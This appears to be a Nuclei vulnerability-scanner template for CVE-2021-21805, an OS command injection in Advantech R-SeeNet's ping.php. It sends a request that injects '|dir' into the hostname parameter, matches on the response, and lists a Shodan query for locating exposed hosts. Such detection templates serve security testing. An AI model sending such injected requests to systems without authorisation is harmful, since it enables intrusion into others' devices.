47 lines
1.3 KiB
YAML
47 lines
1.3 KiB
YAML
id: CVE-2021-21805
|
|
|
|
info:
|
|
name: Advantech R-SeeNet 2.4.12 - OS Command Injection
|
|
author: arafatansari
|
|
severity: critical
|
|
description: |
|
|
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
reference:
|
|
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-21805
|
|
cwe-id: CWE-78
|
|
metadata:
|
|
shodan-query: http.html:"R-SeeNet"
|
|
verified: "true"
|
|
tags: cve,cve2021,rce,r-seenet
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/php/ping.php?hostname=|dir"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<title>Ping |dir</title>"
|
|
- "bottom.php"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by md on 2022/10/06
|